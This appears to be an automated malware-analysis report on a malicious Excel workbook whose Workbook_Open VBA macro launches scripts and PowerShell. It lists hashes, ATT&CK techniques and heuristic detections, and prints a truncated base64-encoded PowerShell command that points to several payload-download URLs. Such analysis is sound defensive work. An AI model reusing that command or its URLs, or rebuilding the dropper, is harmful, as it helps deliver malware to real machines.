Office (OLE) / .XLSX malware analysis — malicious · 9305af8f8d021df1

MALICIOUS

Office (OLE) / .XLSX

142.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 9d992afe7c22258c90fc1c7f14fbed4a SHA-1: 0257ee56509829d6b916c41e52ce221dcbad6fc8 SHA-256: 9305af8f8d021df1a64aa53b2ff06faeeda3718895edf9eecae0098c8b2a1b24

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1059.005 Visual Basic

The file contains VBA macros that are executed upon opening the workbook, as indicated by the Workbook_Open heuristic. The script utilizes CreateObject to instantiate Wscript.Shell and Scripting.FileSystemObject, enabling it to execute commands and manipulate files. Specifically, it attempts to run 'c:\programdata\jledshf.bat' and 'c:\programdata\sduoixo.vbs'. The reconstructed command line `hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAC4AcwByAGwALwB3AHAALQBhAGQAbQBpAG4ALwA3AEYAZgBrADYATABMAE4AMgBYAHMAMgBXAC8ALABoAHQAdABwADoALwAvAGYAcgBhAG4AbQB1AGwAZQByAG8ALgBlAHMALwBtAGIAeAAvADgAYwA1AFIAQgBKAHgANgAvACwAaAB0AHQAcAA6AC8ALwB2AGEAcgBhAGYAbwBkAG8ALgBjAG8AbQAvAEEAagBhAHgALwBjAG4ATQA5ADEARwAvACwAaAB0AHQAcABzADoALwAvADcAagBjAGEAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQALwAsAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGMAZQBuAHQAcgBhAGwAaABvAG0AZQAuAGgA` suggests the download and execution of a second-stage payload from multiple URLs. The ClamAV detection further supports its malicious nature.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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